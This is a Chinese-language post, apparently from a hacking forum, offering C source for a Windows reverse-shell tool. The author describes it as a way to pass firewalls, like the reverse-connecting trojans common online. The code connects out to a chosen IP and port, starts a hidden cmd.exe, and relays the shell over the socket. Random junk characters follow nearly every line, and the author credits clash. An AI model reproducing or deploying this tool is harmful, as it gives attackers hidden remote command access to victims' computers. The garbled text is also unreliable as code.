这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L Iz<fB
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/* ============================== [h63* &
Rebound port in Windows NT Z7XFG&@6
By wind,2006/7 T.}Y&,n$$5
===============================*/ @ Fkhida
#include s@IgaF {
#include Z\3~7Ek2m
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#pragma comment(lib,"wsock32.lib") {B-*w%}HU
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void OutputShell(); ,&.$r/x|?
SOCKET sClient; >#VNA^+t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LwYWgT\e
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void main(int argc,char **argv) 1Li*n6tLX`
{ slzB#
WSADATA stWsaData; F3[,6%4v
int nRet; Q[{RNab
SOCKADDR_IN stSaiClient,stSaiServer; 5]xSK'6W
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if(argc != 3) wJj:hA}
{ LXqPNVp#
printf("Useage:\n\rRebound DestIP DestPort\n"); EF6h>"']/
return; }O Y/0p-Z
} X,{ 3_
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WSAStartup(MAKEWORD(2,2),&stWsaData); RqX^$C8M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yd=b!\}WJ
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stSaiClient.sin_family = AF_INET; LcZ|A;it
stSaiClient.sin_port = htons(0); [5!dO\-[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %&S9~E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2+_a<5l~
{ ,l Y4WO
printf("Bind Socket Failed!\n"); ^t:dcY7
return; 2RQ-L
} d6W\
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stSaiServer.sin_family = AF_INET; C;j&Vbf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); stUUez>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &d0sv5&s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?~b(iZ
{ p6Z|)1O]
printf("Connect Error!"); -We9
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return; 0( *L)s,5
} f7y.##W G
OutputShell(); j+@3.^vK
} AJm$(3?/D
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void OutputShell() 1
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{ T7%!JBg@
char szBuff[1024]; '%82pZ,?
SECURITY_ATTRIBUTES stSecurityAttributes; Nte$cTjX
OSVERSIONINFO stOsversionInfo; #*:^\z_Jd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $xWUzg1<U
STARTUPINFO stStartupInfo; Qe{w)e0}`
char *szShell; `XpQR=IOMb
PROCESS_INFORMATION stProcessInformation; 8CZ%-}-%$
unsigned long lBytesRead; k/D{&(F ~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X'-Yz7J?o
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7f4O~4.[i
stSecurityAttributes.lpSecurityDescriptor = 0; :eSsqt9]9
stSecurityAttributes.bInheritHandle = TRUE; N#2ldY *
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3H`{
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vENf3;o0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZXGi> E
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QW$p{ zo
stStartupInfo.wShowWindow = SW_HIDE; r*]pL<
stStartupInfo.hStdInput = hReadPipe; eIfQ
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U8AH,?]#
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GetVersionEx(&stOsversionInfo); |?ssHW
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switch(stOsversionInfo.dwPlatformId) e"52'zAV-
{ ~7 U~
case 1: w7o`BR
szShell = "command.com"; naW!b&:
break; r34MDUZdI
default: Id##367R
szShell = "cmd.exe"; P/dnH
break; 31@Lr[!
} c~?Zmdn:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o$buoGSPc
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send(sClient,szMsg,77,0); {BT/P!
while(1) 0=#>w_B
{ S.)Jp-&K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }&t>j[
if(lBytesRead) !7
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{ r]UF<*$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); V@!)Pw
send(sClient,szBuff,lBytesRead,0); 4uo`XJuQ
} [104;g <
else :#pdyJQ_
{ 6oNcj_?7?q
lBytesRead=recv(sClient,szBuff,1024,0); ~e 1l7H;
if(lBytesRead<=0) break; Ph1XI&us9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =i&,I{3
} 'Vo8|?.WhX
} 6e B;
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return; iBd6&?E?<
}